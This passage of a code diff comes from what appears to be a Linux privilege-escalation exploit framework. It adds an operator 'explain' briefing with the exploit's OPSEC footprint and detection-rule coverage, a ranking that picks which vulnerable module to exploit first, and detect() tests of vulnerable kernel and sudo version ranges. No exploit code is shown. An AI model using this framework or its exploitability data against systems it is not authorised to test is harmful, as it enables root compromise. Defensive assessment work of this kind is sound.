         fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
     }
     if (m->detect_sigma) {
         fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
     }
+    if (m->detect_yara) {
+        fprintf(stdout, "\n--- yara rule ---\n%s", m->detect_yara);
+    }
+    if (m->detect_falco) {
+        fprintf(stdout, "\n--- falco rule ---\n%s", m->detect_falco);
+    }
     return 0;
 }
 
+/* Word-wrap a long paragraph at `width` columns, indenting every line by
+ * `indent` spaces. Writes to stdout. Used by --explain to render the
+ * .opsec_notes paragraph (typically 400-700 chars). */
+static void print_wrapped(const char *text, int indent, int width)
+{
+    int col = indent;
+    for (int i = 0; i < indent; i++) fputc(' ', stdout);
+    const char *p = text;
+    while (*p) {
+        const char *word_start = p;
+        while (*p && *p != ' ') p++;
+        size_t word_len = (size_t)(p - word_start);
+        if (col + (int)word_len > width && col > indent) {
+            fputc('\n', stdout);
+            for (int i = 0; i < indent; i++) fputc(' ', stdout);
+            col = indent;
+        }
+        fwrite(word_start, 1, word_len, stdout);
+        col += (int)word_len;
+        while (*p == ' ') {
+            if (col + 1 > width) {
+                fputc('\n', stdout);
+                for (int i = 0; i < indent; i++) fputc(' ', stdout);
+                col = indent;
+                p++;
+                break;
+            }
+            fputc(' ', stdout);
+            col++;
+            p++;
+        }
+    }
+    fputc('\n', stdout);
+}
+
+/* --explain MODULE — single-page operator briefing. Combines metadata
+ * (CVE / CWE / ATT&CK / KEV), host fingerprint (kernel / arch / userns
+ * gates), live detect() trace (the gates the module just walked, what
+ * the verdict was and why), OPSEC footprint (telemetry the exploit
+ * leaves), detection coverage (which formats have rules), and mitigation
+ * guidance. The intended audience is anyone who wants ONE page that
+ * answers "should we worry about this CVE here, what would patch it,
+ * and what would the SOC see if someone tried it".
+ *
+ * detect() writes its reasoning to stderr (the normal verbose path);
+ * --explain's structured framing goes to stdout. Redirect 2>&1 to merge. */
+static int cmd_explain(const char *name, const struct skeletonkey_ctx *ctx)
+{
+    const struct skeletonkey_module *m = skeletonkey_module_find(name);
+    if (!m) {
+        fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
+        return 1;
+    }
+    const struct cve_metadata *md = cve_metadata_lookup(m->cve);
+
+    /* ── header ──────────────────────────────────────────────── */
+    fprintf(stdout, "\n");
+    fprintf(stdout, "════════════════════════════════════════════════════\n");
+    fprintf(stdout, " %s   %s\n", m->name, m->cve);
+    fprintf(stdout, "════════════════════════════════════════════════════\n");
+    fprintf(stdout, " %s\n", m->summary);
+
+    /* ── weakness ────────────────────────────────────────────── */
+    fprintf(stdout, "\nWEAKNESS\n");
+    if (md && md->cwe)
+        fprintf(stdout, "  %s\n", md->cwe);
+    else
+        fprintf(stdout, "  (no NVD CWE mapping yet)\n");
+    if (md && md->attack_technique)
+        fprintf(stdout, "  MITRE ATT&CK: %s%s%s\n",
+            md->attack_technique,
+            md->attack_subtechnique ? " / "                  : "",
+            md->attack_subtechnique ? md->attack_subtechnique : "");
+
+    /* ── threat-intel context ────────────────────────────────── */
+    fprintf(stdout, "\nTHREAT INTEL\n");
+    if (md && md->in_kev)
+        fprintf(stdout, "  ✓ In CISA Known Exploited Vulnerabilities catalog "
+                        "(added %s)\n", md->kev_date_added);
+    else
+        fprintf(stdout, "  - Not in CISA KEV (no in-the-wild exploitation "
+                        "observed by CISA)\n");
+    fprintf(stdout, "  Affected: %s\n", m->kernel_range);
+
+    /* ── host fingerprint summary ────────────────────────────── */
+    if (ctx->host) {
+        fprintf(stdout, "\nHOST FINGERPRINT\n");
+        if (ctx->host->kernel.release && ctx->host->kernel.release[0])
+            fprintf(stdout, "  kernel:        %s (%s)\n",
+                    ctx->host->kernel.release, ctx->host->arch);
+        if (ctx->host->distro_pretty[0])
+            fprintf(stdout, "  distro:        %s\n", ctx->host->distro_pretty);
+        fprintf(stdout, "  unpriv userns: %s\n",
+                ctx->host->unprivileged_userns_allowed ? "ALLOWED" : "blocked");
+        if (ctx->host->apparmor_restrict_userns)
+            fprintf(stdout, "  apparmor:      restricts unprivileged userns\n");
+        if (ctx->host->selinux_enforcing)
+            fprintf(stdout, "  selinux:       enforcing\n");
+        if (ctx->host->kernel_lockdown_active)
+            fprintf(stdout, "  lockdown:      active\n");
+    }
+
+    /* ── live detect trace ───────────────────────────────────── */
+    fprintf(stdout, "\nDETECT() TRACE (live; reads ctx->host, fires gates)\n");
+    fflush(stdout);
+    skeletonkey_result_t r = SKELETONKEY_TEST_ERROR;
+    if (m->detect) {
+        struct skeletonkey_ctx dctx = *ctx;
+        dctx.json = false;  /* keep verbose stderr reasoning on */
+        r = m->detect(&dctx);
+        fflush(stderr);
+    } else {
+        fprintf(stdout, "  (this module has no detect() — no probe to run)\n");
+    }
+
+    fprintf(stdout, "\nVERDICT: %s\n", result_str(r));
+    /* one-line interpretation for the operator */
+    switch (r) {
+    case SKELETONKEY_OK:
+        fprintf(stdout, "  -> this host is patched / not applicable / immune.\n");
+        break;
+    case SKELETONKEY_VULNERABLE:
+        fprintf(stdout, "  -> bug is reachable. The OPSEC section below shows what a "
+                        "successful exploit() would leave.\n");
+        break;
+    case SKELETONKEY_PRECOND_FAIL:
+        fprintf(stdout, "  -> a precondition check rejected this host: wrong "
+                        "OS / arch, kernel out of range, a host-side gate "
+                        "(userns / apparmor / selinux), or a missing carrier "
+                        "file. See trace above for which check fired.\n");
+        break;
+    case SKELETONKEY_TEST_ERROR:
+        fprintf(stdout, "  -> probe machinery failed; verdict unknown.\n");
+        break;
+    default: break;
+    }
+
+    /* ── OPSEC footprint ─────────────────────────────────────── */
+    if (m->opsec_notes) {
+        fprintf(stdout, "\nOPSEC FOOTPRINT (what exploit() leaves on this host)\n");
+        print_wrapped(m->opsec_notes, 2, 76);
+    }
+
+    /* ── empirical verification records ────────────────────────── */
+    {
+        size_t nv = 0;
+        const struct verification_record *vrs =
+            verifications_for_module(m->name, &nv);
+        fprintf(stdout, "\nVERIFIED ON (real-VM detect() confirmations)\n");
+        if (nv == 0) {
+            fprintf(stdout, "  (none yet — run  tools/verify-vm/verify.sh %s)\n",
+                m->name);
+        } else {
+            for (size_t i = 0; i < nv; i++) {
+                const char *icon = (vrs[i].status &&
+                    strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
+                fprintf(stdout, "  %s %s  %s — kernel %s  (%s)\n",
+                    icon, vrs[i].verified_at,
+                    vrs[i].host_distro, vrs[i].host_kernel,
+                    vrs[i].status);
+            }
+        }
+    }
+
+    /* ── detection coverage matrix ───────────────────────────── */
+    fprintf(stdout, "\nDETECTION COVERAGE (rules embedded in this binary)\n");
+    fprintf(stdout, "  %s auditd    %s sigma    %s yara    %s falco\n",
+        m->detect_auditd ? "✓" : "·",
+        m->detect_sigma  ? "✓" : "·",
+        m->detect_yara   ? "✓" : "·",
+        m->detect_falco  ? "✓" : "·");
+    fprintf(stdout, "  (see  skeletonkey --module-info %s  for rule bodies,\n"
+                    "   or   skeletonkey --detect-rules --format=auditd  for the full corpus)\n",
+        m->name);
+
+    return (int)r;
+}
+
 static int cmd_scan(const struct skeletonkey_ctx *ctx)
 {
     int worst = 0;
@@ -674,6 +1003,7 @@ static int module_safety_rank(const char *n)
     /* Higher = safer. Run highest-ranked vulnerable module. */
     if (!strcmp(n, "pwnkit"))                return 100; /* userspace, no kernel */
     if (!strcmp(n, "sudoedit_editor"))       return 99;  /* structural argv */
+    if (!strcmp(n, "sudo_host"))             return 96;  /* structural; needs a host-restricted sudoers rule */
     if (!strcmp(n, "cgroup_release_agent"))  return 98;  /* structural, no offsets */
     if (!strcmp(n, "overlayfs_setuid"))      return 97;  /* structural setuid */
     if (!strcmp(n, "overlayfs"))             return 96;  /* userns + xattr */
@@ -685,7 +1015,10 @@ static int module_safety_rank(const char *n)
     if (!strcmp(n, "dirtydecrypt") ||
         !strcmp(n, "fragnesia"))             return 87;  /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
     if (!strcmp(n, "ptrace_traceme"))        return 85;  /* userspace cred race */
+    if (!strcmp(n, "ptrace_pidfd"))          return 84;  /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
+    if (!strcmp(n, "cifswitch"))             return 86;  /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
     if (!strcmp(n, "sudo_samedit"))          return 80;  /* heap-tuned, may crash sudo */
+    if (!strcmp(n, "nft_catchall"))          return 35;  /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
     if (!strcmp(n, "af_unix_gc"))            return 25;  /* kernel race, low win% */
     if (!strcmp(n, "stackrot"))              return 15;  /* very low win% */
     if (!strcmp(n, "entrybleed"))            return 0;   /* leak only, not LPE */
@@ -1035,35 +1368,11 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
 
 int main(int argc, char **argv)
 {
-    /* Bring up the module registry. As new families land, add their
-     * register_* call here. */
-    skeletonkey_register_copy_fail_family();
-    skeletonkey_register_dirty_pipe();
-    skeletonkey_register_entrybleed();
-    skeletonkey_register_pwnkit();
-    skeletonkey_register_nf_tables();
-    skeletonkey_register_overlayfs();
-    skeletonkey_register_cls_route4();
-    skeletonkey_register_dirty_cow();
-    skeletonkey_register_ptrace_traceme();
-    skeletonkey_register_netfilter_xtcompat();
-    skeletonkey_register_af_packet();
-    skeletonkey_register_fuse_legacy();
-    skeletonkey_register_stackrot();
-    skeletonkey_register_af_packet2();
-    skeletonkey_register_cgroup_release_agent();
-    skeletonkey_register_overlayfs_setuid();
-    skeletonkey_register_nft_set_uaf();
-    skeletonkey_register_af_unix_gc();
-    skeletonkey_register_nft_fwd_dup();
-    skeletonkey_register_nft_payload();
-    skeletonkey_register_sudo_samedit();
-    skeletonkey_register_sequoia();
-    skeletonkey_register_sudoedit_editor();
-    skeletonkey_register_vmwgfx();
-    skeletonkey_register_dirtydecrypt();
-    skeletonkey_register_fragnesia();
-    skeletonkey_register_pack2theroot();
+    /* Bring up the module registry. New module families register
+     * themselves via skeletonkey_register_all_modules() in
+     * core/registry.c — add the new register_*() call there so the
+     * test binary picks it up automatically. */
+    skeletonkey_register_all_modules();
 
     enum mode mode = MODE_SCAN;
     struct skeletonkey_ctx ctx = {0};
@@ -1096,6 +1405,7 @@ int main(int argc, char **argv)
         {"no-color",      no_argument,       0,  5 },
         {"full-chain",    no_argument,       0,  7 },
         {"dry-run",       no_argument,       0, 10 },
+        {"explain",       required_argument, 0, 11 },
         {"version",       no_argument,       0, 'V'},
         {"help",          no_argument,       0, 'h'},
         {0, 0, 0, 0}
@@ -1121,6 +1431,7 @@ int main(int argc, char **argv)
         case  8 : mode = MODE_DUMP_OFFSETS; break;
         case  9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
         case 10 : ctx.dry_run = true; break;
+        case 11 : mode = MODE_EXPLAIN; target = optarg; break;
         case  6 :
             if      (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
             else if (strcmp(optarg, "sigma")  == 0) dr_fmt = FMT_SIGMA;
@@ -1145,6 +1456,7 @@ int main(int argc, char **argv)
     if (mode == MODE_SCAN) return cmd_scan(&ctx);
     if (mode == MODE_LIST) return cmd_list(&ctx);
     if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
+    if (mode == MODE_EXPLAIN) return cmd_explain(target, &ctx);
     if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
     if (mode == MODE_AUDIT) return cmd_audit(&ctx);
     if (mode == MODE_AUTO) return cmd_auto(&ctx);

tests/test_detect.c

@@ -24,6 +24,7 @@
 
 #include "../core/module.h"
 #include "../core/host.h"
+#include "../core/registry.h"
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -33,6 +34,7 @@ extern const struct skeletonkey_module dirtydecrypt_module;
 extern const struct skeletonkey_module fragnesia_module;
 extern const struct skeletonkey_module pack2theroot_module;
 extern const struct skeletonkey_module overlayfs_module;
+extern const struct skeletonkey_module entrybleed_module;
 extern const struct skeletonkey_module dirty_pipe_module;
 extern const struct skeletonkey_module dirty_cow_module;
 extern const struct skeletonkey_module ptrace_traceme_module;
@@ -58,10 +60,39 @@ extern const struct skeletonkey_module dirty_frag_rxrpc_module;
 extern const struct skeletonkey_module sudo_samedit_module;
 extern const struct skeletonkey_module sudoedit_editor_module;
 extern const struct skeletonkey_module pwnkit_module;
+extern const struct skeletonkey_module sudo_chwoot_module;
+extern const struct skeletonkey_module udisks_libblockdev_module;
+extern const struct skeletonkey_module pintheft_module;
+extern const struct skeletonkey_module mutagen_astronomy_module;
+extern const struct skeletonkey_module sudo_runas_neg1_module;
+extern const struct skeletonkey_module tioscpgrp_module;
+extern const struct skeletonkey_module vsock_uaf_module;
+extern const struct skeletonkey_module nft_pipapo_module;
+extern const struct skeletonkey_module ptrace_pidfd_module;
+extern const struct skeletonkey_module sudo_host_module;
+extern const struct skeletonkey_module cifswitch_module;
+extern const struct skeletonkey_module nft_catchall_module;
 
 static int g_pass = 0;
 static int g_fail = 0;
 
+/* Record which modules at least one test row touched, so the harness
+ * can print a "modules without direct coverage" warning at the end.
+ * Linear append + scan is fine; we have <50 modules. The list is
+ * static-sized at SKELETONKEY_MAX_TESTED_MODULES; bump if we ever
+ * exceed it. */
+#define SKELETONKEY_MAX_TESTED_MODULES 128
+static const char *g_tested_modules[SKELETONKEY_MAX_TESTED_MODULES];
+static size_t g_tested_count = 0;
+
+static void mark_tested(const char *name)
+{
+	for (size_t i = 0; i < g_tested_count; i++)
+		if (strcmp(g_tested_modules[i], name) == 0) return;
+	if (g_tested_count < SKELETONKEY_MAX_TESTED_MODULES)
+		g_tested_modules[g_tested_count++] = name;
+}
+
 static const char *result_str(skeletonkey_result_t r)
 {
 	switch (r) {
@@ -89,6 +120,7 @@ static void run_one(const char *test_name,
 	ctx.json = true;        /* silence per-module log lines */
 
 	skeletonkey_result_t got = m->detect(&ctx);
+	mark_tested(m->name);
 	if (got == want) {
 		printf("[+] PASS  %-40s  %s → %s\n",
 		       test_name, m->name, result_str(got));
@@ -102,6 +134,31 @@ static void run_one(const char *test_name,
 	}
 }
 
+/* mk_host: derive a fingerprint from a base + a kernel override.
+ *
+ * The most common new-test shape is "I want fingerprint X but with a
+ * specific (major, minor, patch) — to nail a backport-boundary or
+ * predates-the-bug case". Doing this with a fresh struct literal each
+ * time obscures the *one* thing that's different. mk_host() does the
+ * copy + overlay, named release string included.
+ *
+ * Returns a struct VALUE so the caller stores it in a stack local and
+ * passes &h.  No heap. The release string is the caller's responsibility
+ * (we don't synthesize from numerics to avoid implying a real release
+ * naming convention). */
+#ifdef __linux__
+static struct skeletonkey_host
+mk_host(struct skeletonkey_host base, int major, int minor, int patch,
+        const char *release)
+{
+	base.kernel.major = major;
+	base.kernel.minor = minor;
+	base.kernel.patch = patch;
+	base.kernel.release = release;
+	return base;
+}
+#endif
+
 /* ── fingerprints ────────────────────────────────────────────────── */
 
 /* Linux 6.12.76 (Debian 13), no userns, no D-Bus, not Ubuntu — a
@@ -265,12 +322,13 @@ static const struct skeletonkey_host h_kernel_5_14_no_userns = {
 static void run_all(void)
 {
 #ifdef __linux__
-	/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
-	run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
+	/* dirtydecrypt: rxgk RESPONSE bug entered at 6.16.1 per NVD;
+	 * kernels before that predate the buggy code → OK */
+	run_one("dirtydecrypt: kernel 6.12 predates 6.16.1 → OK",
 		&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
 		SKELETONKEY_OK);
 
-	run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
+	run_one("dirtydecrypt: kernel 6.14 (fedora) still predates 6.16.1 → OK",
 		&dirtydecrypt_module, &h_fedora_no_debian,
 		SKELETONKEY_OK);
 
@@ -278,6 +336,12 @@ static void run_all(void)
 		&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
 		SKELETONKEY_OK);
 
+	/* fragnesia: SKBFL_SHARED_FRAG marker added in 5.11; kernels before
+	 * that predate the buggy skb_try_coalesce() code → OK */
+	run_one("fragnesia: kernel 4.4 predates 5.11 SKBFL_SHARED_FRAG → OK",
+		&fragnesia_module, &h_kernel_4_4,
+		SKELETONKEY_OK);
+
 	/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
 	run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
 		&fragnesia_module, &h_pre7_no_userns_no_dbus,
@@ -486,6 +550,385 @@ static void run_all(void)
 	run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
 		&nft_payload_module, &h_kernel_5_14_userns_ok,
 		SKELETONKEY_VULNERABLE);
+
+	/* ── drift-entry boundary coverage ────────────────────────────
+	 * These tests guard the kernel_patched_from entries added by the
+	 * tools/refresh-kernel-ranges.py drift batch (commit 8de46e2).
+	 * Each entry has a "just-below" + "exact" pair so a regression
+	 * that drops or off-by-ones the entry is caught immediately. */
+
+	/* af_unix_gc {6, 4, 13} — Debian forky stable backport. The bug is
+	 * reachable as a plain unprivileged user (AF_UNIX needs no caps and
+	 * no userns), so 6.4.12 returns VULNERABLE rather than
+	 * PRECOND_FAIL — the just-below-boundary verdict the table
+	 * decides. */
+	struct skeletonkey_host h_af_unix_6_4_12 =
+		mk_host(h_kernel_5_14_no_userns, 6, 4, 12, "6.4.12-test");
+	run_one("af_unix_gc: 6.4.12 (one below new entry) → VULNERABLE",
+		&af_unix_gc_module, &h_af_unix_6_4_12,
+		SKELETONKEY_VULNERABLE);
+
+	struct skeletonkey_host h_af_unix_6_4_13 =
+		mk_host(h_kernel_5_14_no_userns, 6, 4, 13, "6.4.13-test");
+	run_one("af_unix_gc: 6.4.13 (exact new entry) → OK via patch table",
+		&af_unix_gc_module, &h_af_unix_6_4_13,
+		SKELETONKEY_OK);
+
+	/* vmwgfx {5, 10, 127} — Debian bullseye stable backport. Below the
+	 * entry, detect proceeds past the version check and fails the
+	 * AF_VSOCK / /dev/dri probe in CI → PRECOND_FAIL. At the exact
+	 * entry, kernel_range_is_patched short-circuits → OK. */
+	struct skeletonkey_host h_vmwgfx_5_10_127 =
+		mk_host(h_kernel_5_14_no_userns, 5, 10, 127, "5.10.127-test");
+	run_one("vmwgfx: 5.10.127 (exact new entry) → OK via patch table",
+		&vmwgfx_module, &h_vmwgfx_5_10_127,
+		SKELETONKEY_OK);
+
+	/* nft_set_uaf {5, 10, 179} (harmonised from 5.10.180) — exact entry
+	 * patches via table. */
+	struct skeletonkey_host h_nft_set_5_10_179 =
+		mk_host(h_kernel_5_14_no_userns, 5, 10, 179, "5.10.179-test");
+	run_one("nft_set_uaf: 5.10.179 (harmonised entry) → OK via patch table",
+		&nft_set_uaf_module, &h_nft_set_5_10_179,
+		SKELETONKEY_OK);
+
+	/* nft_set_uaf {6, 1, 27} (harmonised from 6.1.28) — exact entry
+	 * patches via table. */
+	struct skeletonkey_host h_nft_set_6_1_27 =
+		mk_host(h_kernel_5_14_no_userns, 6, 1, 27, "6.1.27-test");
+	run_one("nft_set_uaf: 6.1.27 (harmonised entry) → OK via patch table",
+		&nft_set_uaf_module, &h_nft_set_6_1_27,
+		SKELETONKEY_OK);
+
+	/* nft_payload {5, 10, 162} (harmonised from 5.10.163) — exact entry. */
+	struct skeletonkey_host h_nft_payload_5_10_162 =
+		mk_host(h_kernel_5_14_no_userns, 5, 10, 162, "5.10.162-test");
+	run_one("nft_payload: 5.10.162 (harmonised entry) → OK via patch table",
+		&nft_payload_module, &h_nft_payload_5_10_162,
+		SKELETONKEY_OK);
+
+	/* nf_tables {5, 10, 209} (harmonised from 5.10.210) — exact entry. */
+	struct skeletonkey_host h_nf_tables_5_10_209 =
+		mk_host(h_kernel_5_14_no_userns, 5, 10, 209, "5.10.209-test");
+	run_one("nf_tables: 5.10.209 (harmonised entry) → OK via patch table",
+		&nf_tables_module, &h_nf_tables_5_10_209,
+		SKELETONKEY_OK);
+
+	/* ── entrybleed: meltdown_mitigation passthrough ────────────────
+	 * entrybleed reads ctx->host->meltdown_mitigation (raw sysfs line)
+	 * instead of re-opening /sys/.../meltdown. Test the three branches:
+	 *   - empty string ("probe failed")          → conservative VULNERABLE
+	 *   - "Not affected" (Meltdown-immune CPU)   → OK
+	 *   - "Mitigation: PTI" (KPTI on, vulnerable) → VULNERABLE
+	 * The module is x86_64-only; on other arches the stub returns
+	 * PRECOND_FAIL regardless of meltdown status. We test the x86_64
+	 * branch via the synthetic host's `arch` field. */
+#if defined(__x86_64__) || defined(__amd64__)
+	struct skeletonkey_host h_entry_no_data = h_kernel_6_12;
+	h_entry_no_data.meltdown_mitigation[0] = '\0';
+	run_one("entrybleed: meltdown probe unread → conservative VULNERABLE",
+		&entrybleed_module, &h_entry_no_data,
+		SKELETONKEY_VULNERABLE);
+
+	struct skeletonkey_host h_entry_immune = h_kernel_6_12;
+	strcpy(h_entry_immune.meltdown_mitigation, "Not affected");
+	run_one("entrybleed: meltdown=Not affected (immune CPU) → OK",
+		&entrybleed_module, &h_entry_immune,
+		SKELETONKEY_OK);
+
+	struct skeletonkey_host h_entry_kpti = h_kernel_6_12;
+	strcpy(h_entry_kpti.meltdown_mitigation, "Mitigation: PTI");
+	run_one("entrybleed: meltdown=Mitigation: PTI → VULNERABLE",
+		&entrybleed_module, &h_entry_kpti,
+		SKELETONKEY_VULNERABLE);
+#else
+	/* On non-x86_64 dev / CI containers, the stubbed detect() returns
+	 * PRECOND_FAIL regardless of meltdown_mitigation contents. */
+	run_one("entrybleed: non-x86_64 arch → PRECOND_FAIL (stub)",
+		&entrybleed_module, &h_kernel_6_12,
+		SKELETONKEY_PRECOND_FAIL);
+#endif
+
+	/* ── new v0.8.0 modules ──────────────────────────────────────── */
+
+	/* sudo_chwoot: vulnerable sudo version range [1.9.14, 1.9.17p0].
+	 * Vulnerability is independent of kernel — pure version gate.
+	 * Test fingerprints below the range, in the range, and above. */
+	struct skeletonkey_host h_sudo_chwoot_vuln = h_kernel_6_12;
+	strcpy(h_sudo_chwoot_vuln.sudo_version, "1.9.16");
+	run_one("sudo_chwoot: sudo 1.9.16 (in range) → VULNERABLE",
+		&sudo_chwoot_module, &h_sudo_chwoot_vuln,
+		SKELETONKEY_VULNERABLE);
+
+	struct skeletonkey_host h_sudo_chwoot_fixed = h_kernel_6_12;
+	strcpy(h_sudo_chwoot_fixed.sudo_version, "1.9.17p1");
+	run_one("sudo_chwoot: sudo 1.9.17p1 (fixed) → OK",
+		&sudo_chwoot_module, &h_sudo_chwoot_fixed,
+		SKELETONKEY_OK);
+
+	struct skeletonkey_host h_sudo_chwoot_old = h_kernel_6_12;
+	strcpy(h_sudo_chwoot_old.sudo_version, "1.9.13p1");
+	run_one("sudo_chwoot: sudo 1.9.13p1 (pre-chroot feature) → OK",
+		&sudo_chwoot_module, &h_sudo_chwoot_old,
+		SKELETONKEY_OK);
+
+	/* udisks_libblockdev: detect gates on udisksd binary + dbus
+	 * socket presence + active polkit session. detect() does direct
+	 * filesystem stat() calls (path_exists /usr/libexec/udisks2/udisksd)
+	 * — it can't be host-fixture-mocked. GHA ubuntu-24.04 runners ship
+	 * udisks2 by default, so detect returns VULNERABLE there. */
+	run_one("udisks_libblockdev: udisksd present on CI runner → VULNERABLE",
+		&udisks_libblockdev_module, &h_kernel_6_12,
+		SKELETONKEY_VULNERABLE);
+
+	/* pintheft: AF_RDS socket() in CI/container is almost never
+	 * reachable (RDS module blacklisted on every common distro except
+	 * Arch) → detect returns OK ("bug exists in kernel but unreachable
+	 * from userland here"). */
+	run_one("pintheft: AF_RDS unreachable on CI runner → OK",
+		&pintheft_module, &h_kernel_6_12,
+		SKELETONKEY_OK);
+
+	/* ── v0.9.0 modules ────────────────────────────────────────── */
+
+	/* mutagen_astronomy: kernel 6.12 is above the 4.18.8 fix → OK */
+	run_one("mutagen_astronomy: kernel 6.12 above 4.18.8 fix → OK",
+		&mutagen_astronomy_module, &h_kernel_6_12,
+		SKELETONKEY_OK);
+
+	/* sudo_runas_neg1: fixed sudo (1.9.13p1) → OK */
+	run_one("sudo_runas_neg1: sudo 1.9.13p1 above 1.8.28 fix → OK",
+		&sudo_runas_neg1_module, &h_fixed_sudo,
+		SKELETONKEY_OK);
+
+	/* sudo_runas_neg1: vuln sudo 1.8.31 (in range), but no (ALL,!root)
+	 * grant for this test user → OK. detect() treats "no grant" as
+	 * "not exploitable" (returns OK), not "missing precondition"
+	 * (PRECOND_FAIL) — the user simply can't reach the bug from here. */
+	run_one("sudo_runas_neg1: vuln sudo, no (ALL,!root) grant → OK",
+		&sudo_runas_neg1_module, &h_vuln_sudo,
+		SKELETONKEY_OK);
+
+	/* tioscpgrp: kernel 6.12 above the 5.10 mainline fix → OK */
+	run_one("tioscpgrp: kernel 6.12 above 5.10 fix → OK",
+		&tioscpgrp_module, &h_kernel_6_12,
+		SKELETONKEY_OK);
+
+	/* vsock_uaf: kernel 6.12 above 6.11 mainline fix → OK */
+	run_one("vsock_uaf: kernel 6.12 above 6.11 fix → OK",
+		&vsock_uaf_module, &h_kernel_6_12,
+		SKELETONKEY_OK);
+
+	/* nft_pipapo: kernel 6.12 above 6.8 mainline fix → OK */
+	run_one("nft_pipapo: kernel 6.12 above 6.8 fix → OK",
+		&nft_pipapo_module, &h_kernel_6_12,
+		SKELETONKEY_OK);
+
+	/* nft_pipapo: kernel 5.4 predates the pipapo set type (5.6+) → OK */
+	run_one("nft_pipapo: kernel 4.4 predates pipapo (5.6+) → OK",
+		&nft_pipapo_module, &h_kernel_4_4,
+		SKELETONKEY_OK);
+
+	/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
+	 * Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
+	 * then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
+
+	/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
+	run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
+		&ptrace_pidfd_module, &h_kernel_4_4,
+		SKELETONKEY_OK);
+
+	/* 5.5.99 is one below the 5.6 vector introduction → OK */
+	struct skeletonkey_host h_pidfd_5_5_99 =
+		mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
+	run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
+		&ptrace_pidfd_module, &h_pidfd_5_5_99,
+		SKELETONKEY_OK);
+
+	/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
+	struct skeletonkey_host h_pidfd_5_15_5 =
+		mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
+	run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
+		&ptrace_pidfd_module, &h_pidfd_5_15_5,
+		SKELETONKEY_VULNERABLE);
+
+	/* 6.12.87 one below the trixie backport → VULNERABLE */
+	struct skeletonkey_host h_pidfd_6_12_87 =
+		mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
+	run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
+		&ptrace_pidfd_module, &h_pidfd_6_12_87,
+		SKELETONKEY_VULNERABLE);
+
+	/* 6.12.88 exact trixie backport → OK via patch table */
+	struct skeletonkey_host h_pidfd_6_12_88 =
+		mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
+	run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
+		&ptrace_pidfd_module, &h_pidfd_6_12_88,
+		SKELETONKEY_OK);
+
+	/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
+	struct skeletonkey_host h_pidfd_7_1_0 =
+		mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
+	run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
+		&ptrace_pidfd_module, &h_pidfd_7_1_0,
+		SKELETONKEY_OK);
+
+	/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
+	 * Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
+	 * Assumes sudo is installed on the runner (as the other sudo_*
+	 * rows do — detect() PRECOND_FAILs without a setuid sudo). */
+
+	/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
+	run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
+		&sudo_host_module, &h_vuln_sudo,
+		SKELETONKEY_VULNERABLE);
+
+	/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
+	 * THIS CVE, so h_fixed_sudo can't be reused here) */
+	struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
+	strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
+	run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
+		&sudo_host_module, &h_sudo_host_fixed,
+		SKELETONKEY_OK);
+
+	/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
+	struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
+	strcpy(h_sudo_host_old.sudo_version, "1.8.6");
+	run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
+		&sudo_host_module, &h_sudo_host_old,
+		SKELETONKEY_OK);
+
+	/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
+	struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
+	strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
+	run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
+		&sudo_host_module, &h_sudo_host_1917,
+		SKELETONKEY_VULNERABLE);
+
+	/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
+	 * Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
